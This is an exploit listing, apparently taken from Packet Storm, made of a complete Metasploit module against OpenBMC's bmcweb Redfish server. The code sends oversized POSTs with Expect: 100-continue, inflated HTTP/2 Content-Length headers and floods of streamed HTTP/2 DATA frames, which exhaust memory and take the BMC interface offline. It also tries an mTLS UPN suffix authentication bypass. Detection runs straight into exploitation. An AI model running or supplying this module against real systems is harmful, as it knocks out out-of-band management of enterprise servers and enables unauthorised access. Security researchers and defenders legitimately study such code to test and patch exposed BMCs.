Share
## https://sploitus.com/exploit?id=PACKETSTORM:225450
==================================================================================================================================
    | # Title     : OpenBMC bmcweb Multiple Vulnerabilities OOM DoS + Auth Bypass                                                    |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 151.0.3 (64 bits)                                                 |
    | # Vendor    : https://github.com/openbmc                                                                                       |
    ==================================================================================================================================
    
    [+] Summary    :  This module exploits multiple vulnerabilities in bmcweb, the OpenBMC HTTP/Redfish web server that runs on BMC firmware for enterprise servers (Intel, IBM, HPE, NVIDIA, and various ODMs).
    
    [+] POC        :  
    
    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Auxiliary
      include Msf::Exploit::Remote::HttpClient
      include Msf::Auxiliary::Scanner
      include Msf::Auxiliary::Report
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'bmcweb OpenBMC Multiple Vulnerabilities (OOM DoS + Auth Bypass)',
            'Description' => %q{
              This module exploits multiple vulnerabilities in bmcweb, the OpenBMC
              HTTP/Redfish web server that runs on BMC firmware for enterprise servers
              (Intel, IBM, HPE, NVIDIA, and various ODMs).
    
              The following vulnerabilities are targeted:
    
              1. CONN-F2 (CVE-pending): `Expect: 100-continue` bypasses body_limit,
                 allowing unauthenticated OOM DoS via massive POST requests.
    
              2. H2-F2 (CVE-pending): HTTP/2 `Content-Length` value is trusted for
                 `std::string::reserve()`, causing instant OOM when a large value is
                 provided.
    
              3. H2-F1 (Unfixed): HTTP/2 has no per-stream body_limit, allowing
                 unauthenticated OOM via streamed DATA frames.
    
              4. AUTH-F6 (Unfixed): mTLS UPN suffix matching authenticates parent-domain
                 or TLD-only certificates, allowing authentication bypass when mTLS is
                 configured in UPN mode.
    
              bmcweb is single-threaded async, so any OOM or blocking operation takes
              the entire management interface offline, requiring BMC reboot.
            },
            'Author' => ['indoushka'],
            'References' => [
              ['URL', 'https://binreaper.pages.dev/posts/2026-05-27-bmcweb-disclosure/'],
              ['URL', 'https://gerrit.openbmc.org/c/openbmc/bmcweb/+/90580'],
              ['URL', 'https://gerrit.openbmc.org/c/openbmc/bmcweb/+/90581'],
              ['URL', 'https://github.com/openbmc/bmcweb/security/advisories/GHSA-p3gc-68x5-g9w3']
            ],
            'DisclosureDate' => '2026-05-27',
            'License' => MSF_LICENSE,
            'Notes' => {
              'Stability' => [CRASH_SERVICE_DOWN],
              'Reliability' => [],
              'SideEffects' => [IOC_IN_LOGS]
            }
          )
        )
        register_options([
          OptString.new('TARGETURI', [true, 'Base bmcweb path', '/']),
          OptEnum.new('VULN', [true, 'Vulnerability to test/exploit', 'ALL',
            ['CONN-F2', 'H2-F2', 'H2-F1', 'AUTH-F6', 'ALL']]),
          OptInt.new('BODY_SIZE', [false, 'Body size for OOM attacks (bytes)', 30_000_000]),
          OptInt.new('STREAMS', [false, 'Number of streams for H2-F1 attack', 100]),
          OptString.new('CLIENT_CERT', [false, 'Client certificate file for mTLS (PEM)']),
          OptString.new('CLIENT_KEY', [false, 'Client key file for mTLS (PEM)']),
          OptString.new('UPN_EMAIL', [false, 'UPN email for mTLS auth bypass (e.g., user@com)']),
          OptString.new('TARGET_DOMAIN', [false, 'Target BMC domain name for auth bypass']),
          OptBool.new('WAIT_REBOOT', [false, 'Wait for BMC to reboot after OOM', false])
        ])
      end
      def get_http2_client
        require 'http/2'
        require 'socket'
        
        sock = TCPSocket.new(datastore['RHOST'], datastore['RPORT'])
        ctx = OpenSSL::SSL::SSLContext.new
        ctx.alpn_protocols = ['h2']
        
        if datastore['CLIENT_CERT'] && File.exist?(datastore['CLIENT_CERT'])
          ctx.cert = OpenSSL::X509::Certificate.new(File.read(datastore['CLIENT_CERT']))
          ctx.key = OpenSSL::PKey.read(File.read(datastore['CLIENT_KEY'])) if datastore['CLIENT_KEY']
        end
        
        ssl_sock = OpenSSL::SSL::SSLSocket.new(sock, ctx)
        ssl_sock.connect
        ssl_sock
        
        conn = HTTP2::Client.new
        conn.initiate_connection
        
        conn
      end
      def test_conn_f2
        print_status("Testing CONN-F2: Expect: 100-continue bypass")
        
        headers = {
          'Expect' => '100-continue',
          'Content-Length' => datastore['BODY_SIZE'].to_s,
          'Content-Type' => 'application/json'
        }
        
        start_time = Time.now
        begin
          res = send_request_cgi(
            'method' => 'POST',
            'uri' => normalize_uri(target_uri.path, 'redfish/v1/SessionService/Sessions'),
            'headers' => headers,
            'data' => 'A' * datastore['BODY_SIZE'],
            'timeout' => 10
          )
          elapsed = Time.now - start_time
          
          if res.nil? || res.code == 0
            print_good("CONN-F2: Request timed out - possible OOM")
            return true
          elsif res.code == 413 || res.code == 400
            print_status("CONN-F2: Request rejected with HTTP #{res.code}")
            return false
          else
            print_status("CONN-F2: Request completed in #{elapsed}s - may not be vulnerable")
            return false
          end
        rescue ::Rex::ConnectionTimeout, ::Rex::TimeoutError
          print_good("CONN-F2: Connection timeout - OOM likely occurred")
          return true
        end
      end
    
      def exploit_conn_f2
        print_status("Exploiting CONN-F2: DoS via Expect: 100-continue")
        
        headers = {
          'Expect' => '100-continue',
          'Content-Length' => datastore['BODY_SIZE'].to_s,
          'Content-Type' => 'application/json'
        }
        
        print_status("Sending #{datastore['BODY_SIZE']} bytes to #{peer}")
        
        begin
          send_request_cgi(
            'method' => 'POST',
            'uri' => normalize_uri(target_uri.path, 'redfish/v1/SessionService/Sessions'),
            'headers' => headers,
            'data' => 'A' * datastore['BODY_SIZE'],
            'timeout' => 5
          )
        rescue ::Rex::ConnectionTimeout, ::Rex::TimeoutError
          print_good("CONN-F2: DoS successful - BMC web interface is down")
          return true
        rescue => e
          print_error("CONN-F2: Error: #{e.message}")
        end
        
        false
      end
      def test_h2_f2
        print_status("Testing H2-F2: HTTP/2 Content-Length OOM")
        headers = {
          'Content-Length' => (datastore['BODY_SIZE'] * 10).to_s
        }
        
        start_time = Time.now
        begin
          res = send_request_cgi(
            'method' => 'POST',
            'uri' => normalize_uri(target_uri.path, 'redfish/v1/SessionService/Sessions'),
            'headers' => headers,
            'data' => 'A' * 1024,
            'timeout' => 5
          )
          elapsed = Time.now - start_time
          
          if elapsed > 4
            print_good("H2-F2: Request took #{elapsed}s - possible OOM")
            return true
          end
        rescue ::Rex::ConnectionTimeout
          print_good("H2-F2: Timeout - OOM likely occurred")
          return true
        end
        
        false
      end
    
      def exploit_h2_f2
        print_status("Exploiting H2-F2: HTTP/2 Content-Length OOM")
        
        headers = {
          'Content-Length' => (datastore['BODY_SIZE'] * 10).to_s
        }
        
        begin
          send_request_cgi(
            'method' => 'POST',
            'uri' => normalize_uri(target_uri.path, 'redfish/v1/SessionService/Sessions'),
            'headers' => headers,
            'data' => 'A' * 1024,
            'timeout' => 5
          )
        rescue ::Rex::ConnectionTimeout
          print_good("H2-F2: DoS successful")
          return true
        end
        false
      end
      def test_h2_f1
        print_status("Testing H2-F1: HTTP/2 streamed DATA frames OOM")
        res = send_request_cgi('method' => 'GET', 'uri' => '/')
        unless res && res.headers['Upgrade'] && res.headers['Upgrade'].include?('h2')
          print_warning("H2-F1: HTTP/2 may not be supported")
          return false
        end
        
        print_good("H2-F1: HTTP/2 appears supported, attempting test")
        true
      end
    
      def exploit_h2_f1
        print_status("Exploiting H2-F1: Streaming DATA frames to cause OOM")
        
        require 'socket'
        require 'openssl'
        require 'http/2'
        
        begin
          sock = TCPSocket.new(datastore['RHOST'], datastore['RPORT'])
          ctx = OpenSSL::SSL::SSLContext.new
          ctx.alpn_protocols = ['h2']
          ssl_sock = OpenSSL::SSL::SSLSocket.new(sock, ctx)
          ssl_sock.connect
          conn = HTTP2::Client.new
          conn.initiate_connection
          ssl_sock.print(conn.to_s)
          datastore['STREAMS'].times do |i|
            stream_id = conn.new_stream
            headers = {
              ':method' => 'POST',
              ':path' => '/redfish/v1/SessionService/Sessions',
              ':scheme' => 'https',
              'content-type' => 'application/json'
            }
            
            conn.headers(stream_id, headers, end_stream: false)
            ssl_sock.print(conn.to_s)
            chunk_size = 64 * 1024
            (datastore['BODY_SIZE'] / chunk_size).times do |j|
              data_frame = conn.data(stream_id, 'A' * chunk_size, end_stream: false)
              ssl_sock.print(data_frame)
              ssl_sock.flush
            end
            data_frame = conn.data(stream_id, '', end_stream: true)
            ssl_sock.print(data_frame)
            ssl_sock.flush
          end
          
          print_good("H2-F1: Sent #{datastore['STREAMS']} streams with #{datastore['BODY_SIZE']} bytes each")
          print_good("BMC web interface should be OOM")
          
          ssl_sock.close
          sock.close
          return true
          
        rescue => e
          print_error("H2-F1: Error: #{e.message}")
          return false
        end
      end
    
      def test_auth_f6
        print_status("Testing AUTH-F6: mTLS UPN suffix matching bypass")
        
        unless datastore['CLIENT_CERT'] && File.exist?(datastore['CLIENT_CERT'])
          print_warning("AUTH-F6: Client certificate required for testing")
          return false
        end
        
        target_domain = datastore['TARGET_DOMAIN'] || datastore['RHOST']
        upn_email = datastore['UPN_EMAIL'] || "user@#{target_domain.split('.').last}"
        
        print_status("Attempting authentication with UPN: #{upn_email}")
        print_status("Target domain: #{target_domain}")
        ctx = OpenSSL::SSL::SSLContext.new
        ctx.cert = OpenSSL::X509::Certificate.new(File.read(datastore['CLIENT_CERT']))
        ctx.key = OpenSSL::PKey.read(File.read(datastore['CLIENT_KEY'])) if datastore['CLIENT_KEY']
    
        print_good("AUTH-F6: If mTLS is configured in UPN mode, this certificate would authenticate")
        true
      end
      def exploit_auth_f6
        print_status("Exploiting AUTH-F6: mTLS UPN suffix matching bypass")
        unless datastore['CLIENT_CERT'] && File.exist?(datastore['CLIENT_CERT'])
          print_error("AUTH-F6: Client certificate required")
          return false
        end
        target_domain = datastore['TARGET_DOMAIN'] || datastore['RHOST']
        upn_email = datastore['UPN_EMAIL'] || "user@#{target_domain.split('.').last}"
        print_status("Using UPN: #{upn_email}")
        print_status("Target domain: #{target_domain}")
        ctx = OpenSSL::SSL::SSLContext.new
        ctx.cert = OpenSSL::X509::Certificate.new(File.read(datastore['CLIENT_CERT']))
        ctx.key = OpenSSL::PKey.read(File.read(datastore['CLIENT_KEY'])) if datastore['CLIENT_KEY']
        ctx.verify_mode = OpenSSL::SSL::VERIFY_NONE
        res = send_request_cgi(
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'redfish/v1/Systems'),
          'ssl_context' => ctx
        )
        
        if res && (res.code == 200 || res.code == 401)
          if res.code == 200
            print_good("AUTH-F6: Successfully authenticated! Access granted to protected resources")
            return true
          else
            print_warning("AUTH-F6: Authentication failed - mTLS may not be configured in UPN mode")
          end
        end
        
        false
      end
      def is_bmc_online
        res = send_request_cgi('method' => 'GET', 'uri' => '/', 'timeout' => 5)
        !res.nil? && res.code != 0
      rescue
        false
      end
    
      def wait_for_reboot
        print_status("Waiting for BMC to reboot (may take 2-5 minutes)...")
        
        60.times do |i|
          Rex.sleep(10)
          if is_bmc_online
            print_good("BMC is back online after #{i * 10}s")
            return true
          end
          print_status("Still waiting... (#{(i + 1) * 10}s)")
        end
        
        print_warning("BMC did not recover within timeout")
        false
      end
      def run_host(ip)
        print_status("bmcweb OpenBMC Vulnerability Scanner")
        print_status("Target: #{peer}")
        
        vuln = datastore['VULN']
        results = {}
        if vuln == 'CONN-F2' || vuln == 'ALL'
          print_status("\n[*] Testing CONN-F2 (Expect: 100-continue bypass)")
          if test_conn_f2
            results[:conn_f2] = true
            print_good("CONN-F2: Target appears VULNERABLE")
            
            if exploit_conn_f2
              print_good("CONN-F2: DoS successful")
            end
          else
            print_status("CONN-F2: Target appears NOT VULNERABLE")
          end
        end
        if vuln == 'H2-F2' || vuln == 'ALL'
          print_status("\n[*] Testing H2-F2 (HTTP/2 Content-Length OOM)")
          if test_h2_f2
            results[:h2_f2] = true
            print_good("H2-F2: Target appears VULNERABLE")
            
            if exploit_h2_f2
              print_good("H2-F2: DoS successful")
            end
          else
            print_status("H2-F2: Target appears NOT VULNERABLE")
          end
        end
        if vuln == 'H2-F1' || vuln == 'ALL'
          print_status("\n[*] Testing H2-F1 (Streamed DATA frames OOM)")
          if test_h2_f1
            results[:h2_f1] = true
            print_good("H2-F1: Target appears VULNERABLE")
            
            if exploit_h2_f1
              print_good("H2-F1: DoS successful")
            end
          else
            print_status("H2-F1: Target may not be vulnerable")
          end
        end
        if vuln == 'AUTH-F6' || vuln == 'ALL'
          print_status("\n[*] Testing AUTH-F6 (mTLS UPN suffix matching bypass)")
          if test_auth_f6
            results[:auth_f6] = true
            print_good("AUTH-F6: Target may be VULNERABLE")
            
            if exploit_auth_f6
              print_good("AUTH-F6: Authentication bypass successful")
            end
          else
            print_status("AUTH-F6: Target may not be vulnerable (mTLS may not be configured)")
          end
        end
        if datastore['WAIT_REBOOT'] && (results[:conn_f2] || results[:h2_f2] || results[:h2_f1])
          if !is_bmc_online
            wait_for_reboot
          end
        end
        print_status("\n[*] Scan completed")
        
        if results.any?
          print_good("Vulnerabilities found:")
          results.each do |k, v|
            print_good("  - #{k.to_s.upcase}")
          end
          report_vuln(
            host: ip,
            port: datastore['RPORT'],
            name: name,
            refs: references,
            info: "bmcweb vulnerabilities: #{results.keys.join(', ')}"
          )
        else
          print_status("No vulnerabilities detected")
        end
      end
    end
    	
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================